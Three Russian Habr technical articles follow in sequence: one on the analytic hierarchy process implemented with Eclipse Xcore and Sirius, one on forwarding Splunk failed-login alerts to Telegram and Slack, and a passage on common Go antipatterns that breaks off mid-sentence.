![](https://habrastorage.org/r/w780q1/files/2dd/05b/8de/2dd05b8de7cd4dd493c4b86656f92197.jpg) #### **1 Метод анализа иерархий** Меня интересовали следующие вопросы: * Чем мне интересно заниматься? * Достаточно ли времени я уделяю интересным вещам? * Что можно изменить в жизни к лучшему? * Не станет ли от этих изменений хуже? * … Когда я учился в вузе, для получения ответов на разные вопросы мы использовали [метод анализа иерархий](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0_%D0%B8%D0%B5%D1%80%D0%B0%D1%80%D1%85%D0%B8%D0%B9). Суть метода следующая. 1. Вы определяете * цель, * критерии достижения цели и * возможные альтернативы. 2. Оцениваете значимость критериев. 3. Оцениваете альтернативы по каждому из критериев. 4. Рассчитываете приоритеты альтернатив. 5. Принимаете решение. Более подробно этот метод описан в книге Томаса Саати «Принятие решений. Метод анализа иерархий» (она легко гуглится). Кстати, в ней много примеров от психологии до мировой экономики. ##### 1.1 Построение иерархии Итак, в простейшем случае иерархия должна содержать цель, критерии и альтернативы. Если суммировать все мои вопросы, то, по большому счету, меня интересует стоит ли мне сменить работу. Поэтому цель: **выбрать работу**. При выборе работы меня интересует * сколько **денег** я буду зарабатывать, * на сколько **интересно** мне будет этим заниматься, * будет ли у меня **время** на жизнь, * **карьерные** перспективы, * смогу ли я бывать на **природе** или буду видеть солнце и деревья раз в год, * на сколько близка мне **культура** коллег, соседей и остальных людей. При этом возможны следующие альтернативы: * ничего не менять, * переехать в Москву, * переехать за границу, * заняться фрилансом или каким-нибудь предпринимательством. В соответствии с методом анализа иерархий строится следующая иерархия: ![](https://habrastorage.org/r/w1560/files/9ba/7a9/608/9ba7a960899442ec8da71a33523868cd.png) ##### 1.2 Оценка критериев У разных людей при принятии решений могут быть примерно одинаковые критерии. Однако, их значимость может сильно различаться. Кто-то работает в большей степени ради денег, кто-то ради интереса, кому-то просто нравится общаться с коллегами и т.д. В соответствии со своими приоритетами один человек не раздумывая выберет более денежную работу, а другой – более интересную. Не существует работы, которая по всем критериям подходит абсолютно всем. Наверное, при принятии решений большинство людей в явной или неявной форме ранжируют критерии от самого значимого до самого незначительного. Последние отбрасывают, а по первым сравнивают возможные альтернативы. На каждую возможную работу они навешивают ярлычок: вот, эта работа более денежная, но не интересная, а эта интересная и коллектив там хороший, но сомнительные карьерные перспективы и т.д. Если сходу не получается сделать выбор, то человек начинает переоценивать критерии: может быть интерес пока не так важен и в пробке можно лишние два часа постоять, зато там больше зарплата, вот, выплачу ипотеку и займусь чем-то интересным. Подобные рассуждения могут продолжаться долго, мучительно и без гарантии, что в итоге действительно будет принято оптимальное решение. В методе анализа иерархий предлагается формальный алгоритм принятия подобных решений: все критерии попарно сравниваются друг с другом по шкале от 1 до 9. Например, что для меня важнее: интерес или деньги? Интерес важнее, но не сказать, что очень сильно. Если максимальная оценка 9 к 1, то для себя я оцениваю приоритеты как 5 к 1. Или, например, что важнее: деньги или наличие времени для жизни, хобби? Готов ли я ради дополнительных денег работать в выходные или стоять по два часа в пробках? Я для себя оцениваю значимость этих критериев как 1 к 7. В итоге заполняется подобная таблица: ![](https://habrastorage.org/r/w1560/files/7b4/481/994/7b44819941614a8c80da941359fe68d3.png) Очевидно, что по диагонали всегда будут единицы. Также очевидно, что все оценки будут обратно-симметричны относительно главной диагонали. Например, если я оцениваю значимость «интерес-деньги» как 5 к 1, то значимость «деньги-интерес» будет 1 к 5. Иногда такие матрицы называют обратно-симметричными. В общем случае, если мы сравниваем N критериев, то необходимо сделать (N\*(N-1))/2 сравнений. Казалось бы, всё только усложнилось. Если изначально было 6 критериев, то сейчас целая матрица каких-то чисел. Чтобы снова вернуться к критериям, рассчитаем собственный вектор матрицы. Элементы этого вектора и будут относительной значимостью каждого критерия. В книге Томаса Саати предлагается несколько упрощенных методов расчета собственного вектора в уме или на бумаге. Мы воспользуемся более точным [итеративным алгоритмом](https://github.com/AresEkb/ahp/blob/master/ahp/src/ahp/JudgmentMatrix.java): ``` N = количество критериев m = матрица оценок размерностью NxN eigenvector = вектор размерностью N, заполненный значениями 1/N Повторяем пока eigenvalue не начнет сходиться к определенному значению или пока не сделаем максимально допустимое количество итераций x = m * eigenvector eigenvalue = sum(x) eigenvector = x / eigenvalue ``` В итоге получаем следующий вектор: ``` [ 0,0592; 0,2323; 0,3846; 0,0555; 0,1220; 0,1462 ] ``` Наиболее значимый критерий – время (0,3846), наименее значимый – карьера (0,0555). При парных сравнениях некоторые оценки могут получиться несогласованными. Например, для меня интерес важнее денег, а деньги важнее карьеры. Очевидно, что интерес должен быть существенно важнее карьеры. В данной таблице так и есть. Но если бы оценка для «интерес-карьера» была меньшей или вообще обратной, то мои оценки были бы не согласованы между собой. Оценить меру этой несогласованности поможет собственное значение матрицы сравнений. Оно равно 6,7048. Очевидно, что собственное значение пропорционально количеству критериев. Чтобы оценка согласованности не зависела от количества критериев, рассчитывается так называемый индекс согласованности = (собственное значение — N) / (N — 1). Наконец, чтобы оценка была совсем объективной необходимо разделить данный индекс на усредненный индекс согласованности для случайных матриц. Если полученная величина (отношение согласованности) меньше 0,1000, то парные сравнения можно считать более-менее согласованными. В нашем примере оно равно 0,1137, это значит, что рассчитанным приоритетам можно более-менее доверять. ##### 1.3 Оценка альтернатив Теперь необходимо сравнить все альтернативы по каждому из критериев. ![](https://habrastorage.org/r/w1560/files/55c/809/2e2/55c8092e2181416ebc2fd3a84cab6b6c.png) Например, при переезде в Москву я существенно выиграю в зарплате. Но работа, скорее всего, будет менее интересная, а также будет оставаться меньше времени для жизни. Или при переезде за границу мне придется отказаться от своего языка, подстраиваться под чужие культурные ценности. По каждому критерию рассчитывается собственный вектор и отношение согласованности. Полученные собственные векторы записаны в столбцах: ![](https://habrastorage.org/r/w1560/files/455/cb3/78c/455cb378c7964ee8bb434fb6e6ff1e67.png) Отношения согласованности по каждому критерию записаны в следующем векторе: ``` [ 0,0337; 0,0211; 0,1012; 0,1399; 0,1270; 0,9507 ] ``` Большинство значений меньше или незначительно превышают 0,1000. Однако для критерия «культура» отношение согласованности получилось очень большое. Это связано с тем, что я неправильно расставил часть оценок. Хотел поставить 7 для «ничего не менять – переехать за границу», потому что жить в родном городе гораздо комфортнее. Но по ошибке поставил 1/7. ##### 1.4 Определение приоритетов альтернатив Итак, мы оценили критерии, навесили на каждую альтернативу ярлычок: какой вариант более денежный, какой более интересный и т.д. Теперь необходимо оценить альтернативы по всем критериям в сумме. Для этого достаточно умножить матрицу ![](https://habrastorage.org/r/w1560/files/455/cb3/78c/455cb378c7964ee8bb434fb6e6ff1e67.png) на вектор ``` [ 0,0592; 0,2323; 0,3846; 0,0555; 0,1220; 0,1462 ] ``` В итоге мы получим следующий вектор: ``` [ 0,3184; 0,1227; 0,2049; 0,3540 ] ``` Это и есть значимости альтернатив относительно достижения цели. ##### 1.5 Принятие решения Теперь изобразим все рассчитанные значения на следующем рисунке: ![](https://habrastorage.org/r/w1560/files/eca/eb2/813/ecaeb2813e3443b29f3e60a8c08c2ee8.png) В скобках указано отношение согласованности оценок. Толщина линий пропорциональна приоритетам. Наиболее интересна и перспективна в плане карьеры текущая работа. Фриланс позволил бы больше бывать на природе и больше времени тратить на жизнь. Более денежная работа в Москве и заграницей. Видно, что Москва совсем отпадает. Заграница чуть лучше, но тоже не очень. Ничего не менять и фриланс примерно на одном уровне. #### **2 Создание метамодели** Теперь опишем как всё это рисуется и считается. Сначала необходимо описать метамодель: виды сущностей, которые используются в методе анализа иерархий. Причем, в отличие от [предыдущей статьи](http://habrahabr.ru/company/cit/blog/266433/) мы не будем рисовать метамодель в виде диаграммы, а опишем её в текстовой нотации Xcore. Как и раньше понадобится [Eclipse Modeling Tools](https://www.eclipse.org/downloads/). Установите Xcore и Sirius. Вы можете взять либо готовый [проект](https://github.com/AresEkb/ahp), либо сделать всё самостоятельно. Если самостоятельно, то создайте Xcore-проект. В папке model создайте файл ahp.xcore со следующим содержимым: ``` @Ecore(nsURI="http://www.example.org/ahp") @GenModel( modelName="AHP", prefix="AHP", editDirectory="/xctest.edit/src-gen", editorDirectory="/xctest.editor/src-gen", testsDirectory="/xctest.tests/src-gen") package ahp class Hierarchy { contains Goal[1] goal contains Criterion[+] criteria contains Alternative[2..*] alternatives } interface Named { String[1] name } class Goal extends Named { } class Criterion extends Named { } class Alternative extends Named { } ``` Смысл должен быть интуитивно понятен. Мы описали иерархию, которая содержит одну цель, хотя бы один критерий, две или более альтернативы. У всех трёх сущностей есть имя. После сохранения файла автоматически сформируется Java API для работы с иерархиями в папке src-gen. А также будут созданы 3 дополнительных проекта. Нечто подобное мы уже делали в [статье про EMF](http://habrahabr.ru/company/cit/blog/266433/). Только там было две модели (ecore и genmodel), и генерацию кода мы запускали вручную. Xcore делает это автоматически. Думаю, что описывать всю метамодель в статье нет смысла, вы можете посмотреть её [самостоятельно](https://github.com/AresEkb/ahp/blob/master/ahp/model/ahp.xcore). Остановимся только на самых интересных вещах. Xcore в отличие от Ecore позволяет описывать не только структуру модели, но и некоторую логику на Java-подобном языке. Опишем, например, тип данных для хранения оценок. Положительные оценки будем хранить в виде положительных целых чисел. А обратные оценки вида 1/n будем хранить как -n. Мы могли бы хранить оценки в виде строк или в виде действительных чисел, но, наверное, это плохая идея. При этом нам нужны две функции для преобразования оценок из или в строковое представление. На Xcore это будет выглядеть так: ``` type Weight wraps int create { if (it.matches("\\d+")) { Integer.parseInt(it) } else if (it.matches("1\\s*/\\s*\\d+")) { val result = Integer.parseInt(it.replaceFirst("1\\s*/\\s*", "")) if (result <= 1) 1 else -result } else { throw new NumberFormatException("The weight must be either n or 1/n") } } convert { if (it >= 1) { it.toString } else if (it >= -1) { "1" } else { "1/" + (-it).toString } } ``` Xcore позволяет описывать также и относительно сложную логику. **Вот, например, операция расчета приоритетов в иерархии.** ``` class Hierarchy { op void updatePriorities() { priorities.clear inconsistencies.clear val mat = new JudgmentMatrix(criteria) val criteriaJudgments = judgments.filter(typeof(CriterionJudgment)).filter(cj | cj.goal == goal) for (judgment : criteriaJudgments) { mat.set(judgment.first, judgment.second, judgment.weight) } for (criterion : criteria) { val GoalCriterionPriority priority = AHPFactory.eINSTANCE.createGoalCriterionPriority priority.goal = goal priority.criterion = criterion priority.value = mat.findEigenvectorElement(criterion) priorities.add(priority) } val goalInconsistency = AHPFactory.eINSTANCE.createGoalInconsistency goalInconsistency.goal = goal goalInconsistency.value = mat.inconsistency inconsistencies.add(goalInconsistency) val mat2 = new Matrix(alternatives.size, criteria.size) criteria.forEach[criterion, j| val mat3 = new JudgmentMatrix(alternatives) val alternativeJudgments = judgments.filter(typeof(AlternativeJudgment)).filter(aj | aj.criterion == criterion) for (judgment : alternativeJudgments) { mat3.set(judgment.first, judgment.second, judgment.weight) } val criterionInconsistency = AHPFactory.eINSTANCE.createCriterionInconsistency criterionInconsistency.criterion = criterion criterionInconsistency.value = mat3.inconsistency inconsistencies.add(criterionInconsistency) alternatives.forEach[alternative, i| val CriterionAlternativePriority priority = AHPFactory.eINSTANCE.createCriterionAlternativePriority priority.criterion = criterion priority.alternative = alternative priority.value = mat3.findEigenvectorElement(alternative) priorities.add(priority) mat2.set(i, j, priority.value) ] ] val mat4 = mat2.multiply(mat.eigenvector) alternatives.forEach[alternative, i| val GoalAlternativePriority priority = AHPFactory.eINSTANCE.createGoalAlternativePriority priority.goal = goal priority.alternative = alternative priority.value = mat4.get(i) priorities.add(priority) ] } } ``` Наконец, для Xcore-модели (как и для Ecore-модели) вы можете создать диаграмму классов. ![](https://habrastorage.org/r/w1560/files/184/a82/e82/184a82e82fc546faa3dc12269bc8a995.png) Так выглядит метамодель для метода анализа иерархий. Это максимально упрощенный вариант. А в общем случае, иерархия может содержать более трех уровней (например, у критериев могут быть подкритерии). Матрицы связей между уровнями могут быть разреженными. Оценки могут ставить несколько экспертов, а не один. #### **3 Разработка инструмента для работы с моделями** Метамодель готова, теперь нужен редактор иерархий и матриц. Наверное, нет смысла подробно описывать как всё это сделано. Если вам это интересно, то можете прочитать [предыдущую статью про Sirius](http://habrahabr.ru/company/cit/blog/267335/) и посмотреть готовый [проект](https://github.com/AresEkb/ahp). Так выглядит спецификация редактора диаграмм и таблиц: ![](https://habrastorage.org/r/w1560/files/47f/d5c/fea/47fd5cfea0cd40318dadd7a993982535.png) Так выглядит результирующий редактор: ![](https://habrastorage.org/r/w1560/files/343/b0e/bb0/343b0ebb0baf4d69afba610a58833187.png) Совсем декларативно описать редактор иерархий не получилось, пришлось писать расширения на Java. Думаю, стоит остановиться на этом немного подробней. В Sirius есть по крайней мере два варианта расширений: службы (service) и действия (action). С помощью служб вы можете добавить классам из метамодели некоторые дополнительные операции. Например, следующие две операции соответственно форматируют приоритет и рассчитывают толщину связей между критериями и альтернативами. ``` public class Service { public String toString(Priority priority) { return String.format("%.4f", priority.getValue()); } public int getEdgeWidth(Alternative alternative, EdgeTarget targetView) { DSemanticDecorator targetNode = (DSemanticDecorator)targetView; Criterion criterion = (Criterion)targetNode.getTarget(); Priority priority = alternative.getPriority(criterion); return (int) (priority.getValue() * 7); } } ``` Удобно то, что эти операции вы можете использовать прямо в AQL-выражениях. Однако, вы не можете с их помощью изменять модель. Для изменения модели нужно использовать Java-действия. Действия в отличие от служб уже не могут вызываться в AQL-выражениях. Их можно запускать, например, через контекстное меню или по нажатию кнопки. Действия можно откатывать с помощью команды Undo. **Пример действия, которое пересчитывает приоритеты в иерархии.** ``` package ahp.design; import java.util.Collection; import java.util.Iterator; import java.util.Map; import org.eclipse.emf.ecore.EObject; import org.eclipse.emf.transaction.RecordingCommand; import org.eclipse.emf.transaction.TransactionalEditingDomain; import org.eclipse.sirius.business.api.action.AbstractExternalJavaAction; import org.eclipse.sirius.business.api.session.Session; import org.eclipse.sirius.business.api.session.SessionManager; import org.eclipse.sirius.diagram.DSemanticDiagram; import ahp.Hierarchy; public class UpdatePrioritiesAction extends AbstractExternalJavaAction { public UpdatePrioritiesAction() { } @Override public boolean canExecute(Collection extends EObject arg0) { return true; } @Override public void execute(Collection extends EObject selections, Map parameters) { Iterator extends EObject iter = selections.iterator(); if (!iter.hasNext()) { System.out.println("Selections is empty"); return; } EObject obj = selections.iterator().next(); if (!(obj instanceof DSemanticDiagram)) { System.out.println("DSemanticDiagram is expected"); } DSemanticDiagram diagram = (DSemanticDiagram)obj; EObject target = diagram.getTarget(); if (!(target instanceof Hierarchy)) { System.out.println("Hierarchy is expected"); } Hierarchy hierarchy = (Hierarchy)target; Session session = SessionManager.INSTANCE.getSession(target); TransactionalEditingDomain ted = session.getTransactionalEditingDomain(); RecordingCommand cmd = new RecordingCommand(ted) { @Override protected void doExecute() { hierarchy.updatePriorities(); } }; ted.getCommandStack().execute(cmd); } } ``` #### **4 Создание модели** Ну, собственно, свою модель я уже создал и показал выше. Попробуйте взять этот [проект](https://github.com/AresEkb/ahp) и построить свою иерархию. #### **Profit** После прочтения данной статьи вы должны * получить общее представление о методе анализа иерархий, * научиться описывать метамодели на языке Xcore, * научиться создавать сводные таблицы с помощью Sirius, * научиться писать расширения для Sirius на Java.
https://habr.com/ru/post/269291/
null
ru
null
# Оповещение в Telegram и Slack в режиме реального времени. Или как сделать Alert в Splunk — Часть 2 Мы продолжаем тему алертинга в Splunk. Ранее мы говорили о том, как настроить отправку оповещений [на электронную почту](https://habrahabr.ru/company/tssolution/blog/351038/), а сегодня покажем Вам, как отправлять уведомления в мессенджеры, такие как Telegram и Slack. [![](https://habrastorage.org/r/w1560/webt/u2/x9/s5/u2x9s55nxwxy8pceotigac53xq4.png)](https://habrahabr.ru/company/tssolution/blog/351798/) В статье вы найдете пошаговую инструкцию по настройке. Оба кейса мы разберем на примере алерта о неудачных попытках аутентификации при входе в Splunk (О том как создать такой алерт, мы писали [в предыдущей статье](https://habrahabr.ru/company/tssolution/blog/351038/)). Лог, на котором основывается запрос для алерта, записывается и индексируется автоматически и есть у всех, у кого есть Splunk. Поэтому даже если у Вас на данный момент нет актуальной задачи по оповещениям, то Вы можете протестировать все на таком же примере как у нас. Если же у вас нет Splunk и вы не знаете, что это такое, зачем это нужно и как установить, то Вы можете прочитать, что мы писали об этом [ранее](https://habrahabr.ru/company/tssolution/blog/323814/). К каждому алерту можно добавить действия при его реализации. По умолчанию в Splunk заложены возможности уведомления в самом Splunk, запись события в другой индекс, запись в справочник, отправка сообщения на электронную почту или запуск кастомного скрипта. Для отправки сообщений в мессенджеры нам будет необходимо установить несколько бесплатных приложений. Telegram -------- 1. Скачиваем приложение Telegram Alert Action с сайта SplunkBase по следующей [ссылке](https://splunkbase.splunk.com/app/3703/) 2. Устанавливаем приложение **(Если Вы не знаете, как это сделать, то раскройте этот пункт)** * Заходим в Splunk Enterprise; * В меню приложений кликаем на иконку **Manage Apps** (синяя шестеренка); * Нажимаем **Install app from file**; * Выбираем файл, который мы только что скачали; * Нажимаем **Upload**; * Перезагружаем Splunk; 3. Теперь мы можем добавить Telegram-действие к нашему алерту. ***«Search & Reporting» — «Alerts» — «Edit» — «Edit Alert» — «Add Actions» — «Telegram Alert»*** ![](https://habrastorage.org/r/w1560/webt/cn/0n/y4/cn0ny4bu4rd7bujgnls6_1gsyjq.png) Как мы видим, для отправки сообщения нам необходимы **Bot ID** и **Chat ID**, если у вас они уже есть, то Вы уже на финишной прямой, а если нет, то давайте создадим своего бота. **4. Получаем Bot ID и Chat ID*** Для получения Bot ID обратитесь к боту @BotFather c требованием создать нового бота (команда /newbot) * Введите название своего бота и имя (имя должно оканчиваться на «bot») * Откройте диалог со своим созданным ботом и напишите ему произвольное сообщение * Откройте в браузере ссылку, заменив на полученный идентификатор [api.telegram.org/bot](https://api.telegram.org/bot)/getUpdates * В полученном json-ответе найдите значение в параметре «id» это и есть Chat ID 5. Заполняем все поля в Telegram Alert. Знаком доллара обозначаются токены, которые переносят в сообщение информацию из запроса и о запросе. Больше о токенах вы можете прочитать по [ссылке](http://docs.splunk.com/Documentation/Splunk/7.0.2/Alert/EmailNotificationTokens). `Message: Была совершена неудачная попытка входа. Время: $result.time$ Источник: $result.src$ Пользователь: $result.user$ Действие: $result.action$ Статус: $result.info$ Severity: High Chat ID: Ваш chat_id Bot ID: Ваш bot_id` 6. Получаем уведомление в Telegram ![](https://habrastorage.org/r/w1560/webt/mu/9w/03/mu9w03iaoq6egmlqd7jf4bhabne.png) Slack ----- 1. Скачиваем приложение Telegram Alert Action с сайта SplunkBase по следующей [ссылке](https://splunkbase.splunk.com/app/2878/) 2. Устанавливаем приложение .(Процесс установки описан выше) 3. В конце установки приложение попросит указать **Webhook URL**. ![](https://habrastorage.org/r/w1560/webt/ns/sk/pp/nsskppn-xu-_nxrasakhx_zpjue.png) 4. Чтобы получить **Webhook URL** необходимо в Slack зайти в раздел ***«Apps»*** — найти приложение ***Incoming WebHooks – «Install» — «Add configuration»** .* ![](https://habrastorage.org/r/w1560/webt/fp/u1/ki/fpu1kidqvtqtbxfwhptmjnv3e3k.png) 5. Выбираем из выпадающего списка канал, в который будут приходить уведомления (или создаем новый). Это может быть общий канал или личные сообщения какому-то пользователю. Далее нажимаем на кнопку ***«Add Incoming Webhooks Integration».*** ![](https://habrastorage.org/r/w780q1/webt/xe/ov/ou/xeovouiwkg59mj7ffydugtkmxas.jpeg) 6. Получаем **Webhook URL**, который нужно указать в Splunk ![](https://habrastorage.org/r/w780q1/webt/8i/0l/dh/8i0ldhpgoje3devcyvox7va2jxa.jpeg) 7. Добавляем новое действие в наш алерт: ***«Search & Reporting» — «Alerts» — «Edit» — «Edit Alert» — «Add Actions» — «Slack»***, указывая название канала, в котором мы настроили интеграцию. ![](https://habrastorage.org/r/w1560/webt/b_/on/_q/b_on_qapfjnn8er9oxrp-6xg4c4.png) 8. Получаем уведомление в Slack ![](https://habrastorage.org/r/w1560/webt/wp/wb/41/wpwb41q6ihkz-sif-ypl7jrjbwi.png) Заключение ---------- Таким образом, мы настроили оповещения из Splunk в мессенджеры Telegram и Slack, которые позволят вам всегда быть в курсе того, что происходит в ваших IT-системах и держать руку на пульсе. Мы рады ответить на все ваши вопросы и комментарии по данной теме. Также, если вас интересует что-то конкретно в этой области, или в области анализа машинных данных в целом — мы готовы доработать существующие решения для вас, под вашу конкретную задачу. Для этого можете написать об этом в комментариях или просто отправить нам запрос через форму на нашем [сайте](https://tssolution.ru/splunk/).
https://habr.com/ru/post/351798/
null
ru
null
# Go: распространенные антипаттерны Программирование — это искусство. Мастера своего дела, создающие потрясающие работы, могут ими гордиться. То же самое относится и к программистам, которые пишут код. Чтобы достичь вершин мастерства, творцы постоянно ищут новые подходы к работе и новые инструменты. Так поступают и разработчики, которые, не прекращая профессионально развиваться, постоянно стремятся найти ответ на самый важный свой вопрос: «Как писать хороший код?». Вот что говорит об этом Фредерик Брукс в книге «Мифический человеко-месяц, или Как создаются программные системы»: *Программист, подобно поэту, работает с чистой мыслью. Он строит свои замки в воздухе и из воздуха, творя силой воображения. Трудно найти другой материал, используемый в творчестве, который столь же гибок, прост для шлифовки или переработки и доступен для воплощения грандиозных замыслов.* [![](https://habrastorage.org/r/w1560/getpro/habr/post_images/dc3/c6e/c42/dc3c6ec4259cf7ca7d6973d971d71dfd.png)](https://habr.com/ru/company/ruvds/blog/551032/) *Как писать хороший код ([источник](http://comicsia.ru/collections/xkcd/i33281.html))* В этом материале сделана попытка найти ответ на большой вопрос из вышеприведенного комикса. Самый простой способ писать хороший код заключается в том, чтобы не употреблять в своих программах так называемые «антипаттерны». Что такое антипаттерны ---------------------- Антипаттерны проникают в код тогда, когда программы пишут, не принимая во внимание вопросы, связанные с их использованием в будущем. Может случиться так, что то, что называют «анти-паттерном», в определенный момент может показаться приемлемым решением некоей задачи. Но, на самом деле, по мере роста кодовой базы подобные решения оказываются малооправданными, увеличивая технический долг проектов. В качестве простого примера проникновения в код антипаттерна можно привести ситуацию, когда при создании API не учитывается то, как именно потребитель этого API будет им пользоваться. Этому посвящён наш первый рассказ об антипаттерне. Знание антипаттернов и сознательное предотвращение их использования в ходе написания кода — это, без сомнения, чрезвычайно важный шаг на пути к улучшению читабельности и поддерживаемости кодовой базы. Рассмотрим некоторые распространённые антипаттерны, встречающиеся в коде, написанном на Go. 1. Возврат значения неэкспортируемого типа из экспортируемой функции -------------------------------------------------------------------- В Go, для экспорта любого поля или любой переменной, нужно, чтобы имя поля или переменной начиналось бы с большой буквы. Сущности экспортируют из пакетов для того чтобы они были бы видны другим пакетам. Например, если в программе нужно воспользоваться константой `Pi` из пакета `math`, то обращаться к ней надо с помощью конструкции `math.Pi`. Использование конструкции `math.pi` приведет к возникновению ошибки. Имена (это относится к полям структур, к функциям, к переменным), которые начинаются с маленькой буквы, являются неэкспортируемыми, они видны только в пакете, в котором они объявлены. Если экспортируемая функция возвращает значение неэкспортируемого типа — это может привести к неудобствам, так как тому, кто вызывает эту функцию из другого пакета, придётся самостоятельно определить тип этого значения для его использования. ``` // Не рекомендовано type unexportedType string func ExportedFunc() unexportedType {   return unexportedType("some string") } // Рекомендовано type ExportedType string func ExportedFunc() ExportedType {      return ExportedType("some string") } ``` 2. Неоправданное использование пустых идентификаторов ----------------------------------------------------- В целом ряде ситуаций присвоение значений пустому идентификатору нецелесообразно. Вот, например, что сказано в спецификации Go об использовании пустого идентификатора в циклах `for`: *Если последней итерационной переменной является пустой идентификатор, то выражение range эквивалентно такому же выражению без этого идентификатора.* ``` // Не рекомендовано for _ = range sequence {     run() } x, _ := someMap[key] _ = <-ch // Рекомендовано for range something {     run() } x := someMap[key] <-ch ``` 3. Использование циклов или нескольких вызовов append для объединения срезов ---------------------------------------------------------------------------- Если нужно объединить пару срезов — нет нужды перебирать один из них в цикле и присоединять элементы к другому срезу по одному. Вместо этого гораздо лучше и эффективнее будет сделать это в одном вызове функции `append`. В следующем примере объединение срезов выполняется путём перебора элементов `sliceTwo` и присоединения этих элементов к `sliceOne` по одному: ``` for _, v := range sliceTwo {     sliceOne = append(sliceOne, v) } ``` Но известно, что `append` — это вариативная функция, а это значит, что её можно вызывать с разным количеством аргументов. В результате предыдущий пример можно значительно упростить и переписать с использованием функции `append`: ``` sliceOne = append(sliceOne, sliceTwo…) ``` 4. Избыточные аргументы в вызовах make -------------------------------------- В Go имеется особая встроенная функция `make`, которая используется для создания и инициализации объектов типов `map` (ассоциативный массив), `slice` (срез), `chan` (канал). Для инициализации среза с использованием `make` нужно предоставить этой функции, в виде аргументов, тип среза, его длину и емкость. При инициализации ассоциативного массива с помощью `make` нужно передать функции размер этого массива. Правда, пользуясь `make`, нужно знать о том, что у этой функции уже имеются значения, назначаемые соответствующим аргументам по умолчанию: * В случае с каналами емкость буфера устанавливается в 0 (речь идёт о небуферизованном канале). * В случае с ассоциативными массивами размер по умолчанию устанавливается в небольшое начальное значение. * В случае со срезами емкость по умолчанию устанавливается в значение, равное указанной длине среза. Вот неудачный пример использования `make`: ``` ch = make(chan int, 0) sl = make([]int, 1, 1) ``` Этот код можно переписать так: ``` ch = make(chan int) sl = make([]int, 1) ``` Надо отметить, что использование именованных констант при создании каналов не считается анти-паттерном в тех случаях, когда речь идёт об отладке, о применении результатов неких вычислений, о написании кода, жёстко привязанного к какой-либо платформе. ``` const c = 0 ch = make(chan int, c) // Это — не антипаттерн ``` 5. Ненужное выражение return в функциях --------------------------------------- Не рекомендуется ставить в конец функции выражение `return` в том случае, если функция ничего не возвращает. ``` // Бесполезное выражение return, не рекомендовано func alwaysPrintFoofoo() {     fmt.Println("foofoo")     return } // Рекомендовано func alwaysPrintFoo() {     fmt.Println("foofoo") } ``` При этом надо отметить, что возврат с помощью `return` именованных возвращаемых значений не стоит путать с бесполезным использованием `return`. Например, в следующем фрагменте кода `return` возвращает именованное значение: ``` func printAndReturnFoofoo() (foofoo string) {     foofoo := "foofoo"     fmt.Println(foofoo)     return } ``` 6. Ненужные команды break в выражениях switch --------------------------------------------- В Go выражения `switch` устроены так, что при выполнении одного из вариантов кода, описываемого в блоке `case`, код блоков `case`, которые следуют за ним, выполняться не будет. В других языках, наподобие C, выполнение кода должно быть явным образом прервано с помощью команды `break`. В противном случае, если, например, в `switch` нет ни одного `break`, после выполнения кода одного блока `case` выполняется и код следующих за ним блоков. Известно, что эта возможность в выражениях `switch` используется очень редко и обычно вызывает ошибки. В результате многие современные языки программирования, вроде Go, отказались от такой схемы выполнения выражений `switch`. В результате в конце блоков `case` нет необходимости пользоваться командами `break`. Это значит, что оба нижеприведенных примера дают один и тот же результат. ``` // Не рекомендовано switch s { case 1:     fmt.Println("case one")     break case 2:     fmt.Println("case two") } // Рекомендовано switch s { case 1:     fmt.Println("case one") case 2:     fmt.Println("case two") } ``` Но, если нужно, в `switch` можно реализовать переход к последовательному выполнению кода блоков `case`. Для этого используется команда `fallthrough`. Например, следующий код выведет `23`: ``` switch 2 { case 1:     fmt.Print("1")     fallthrough case 2:     fmt.Print("2")     fallthrough case 3:     fmt.Print("3") } ``` 7. Отказ от использования стандартных вспомогательных функций для решения распространённых задач ------------------------------------------------------------------------------------------------ В Go существуют краткие варианты определенных функций, вызываемых с особым набором аргументов. Эти варианты функций можно использовать для повышения эффективности программ, для улучшения их читабельности, для того чтобы сделать их понятнее. Например, в Go, для организации ожидания завершения выполнения нескольких горутин, можно использовать счетчик `sync.WaitGroup`. При работе с ним могут применяться вспомогательные функции. В частности — функция `wg.Add()` (переменная `wg` в наших примерах имеет тип `sync.WaitGroup`), позволяющая добавить нужное количество горутин в группу. Когда горутина из группы завершает выполнение, счетчик уменьшают, вызывая функцию `wg.Add()` с передачей ей `-1`: ``` wg.Add(1)  // ...какой-то код wg.Add(-1) ``` Если говорить о конструкции `wg.Add(-1)`, то, вместо того, чтобы использовать её для ручного декрементирования счетчика, можно воспользоваться функцией `wg.Done()`, которая тоже декрементирует счетчик, уменьшая его значение на 1, но при этом выглядит лучше и понятнее, чем `wg.Add(-1)`: ``` wg.Add(1) // ... какой-то код wg.Done() ``` 8. Избыточные проверки на nil при работе со срезами --------------------------------------------------- Длина «нулевого» (`nil`) среза приводится к 0. Это значит, что не нужно проверять срез на `nil` перед проверкой его длины. Например, в следующем фрагменте кода проверка на `nil` избыточна: ``` if x != nil && len(x) != 0 {     // выполняем какие-то действия } ``` Этот код можно переписать, убрав из него проверку на `nil`: ``` if len(x) != 0 {     // выполняем какие-то действия } ``` 9. Ненужные функциональные литералы ----------------------------------- Если в теле функционального литерала нет ничего кроме обращения к единственной функции, то от этого литерала можно, без ущерба для возможностей программы, отказаться. Например: ``` fn := func(x int, y int) int { return add(x, y) } ``` Этот код можно улучшить, вынеся `add` из функционального литерала: ``` fn := add ``` 10. Использование единственного блока case в выражениях select -------------------------------------------------------------- Выражения `select` используются при работе с каналами. Обычно они включают в себя несколько блоков `case`. Но в том случае, если речь идёт об обработке единственной операции, представленной единственным блоком `case`, использование выражения `select` оказывается избыточным. В подобной ситуации можно просто воспользоваться операциями отправки данных в канал или их получения из канала: ``` // Не рекомендовано select { case x := <-ch:     fmt.Println(x) } // Рекомендовано x := <-ch fmt.Println(x) ``` В выражении `select` может применяться блок `default`, код которого выполняется в том случае, если системе не удаётся подобрать подходящий блок `case`. Использование `default` позволяет создавать неблокирующие выражения `select`: ``` select { case x := <-ch:     fmt.Println(x) default:     fmt.Println("default") } ``` 11. Параметр типа context.Context, который не является первым параметром функции, в которой используется этот параметр ---------------------------------------------------------------------------------------------------------------------- Если функция имеет параметр типа `context.Context`, то ему обычно дают имя `ctx`, а при объявлении функции его следует ставить первым в списке параметров. Такой аргумент используется в Go-функциях достаточно часто, а подобные аргументы, с логической точки зрения, лучше размещать в начале или в конце списка аргументов. Почему? Это помогает разработчикам не забывать об этих аргументах благодаря единообразному подходу к их использованию 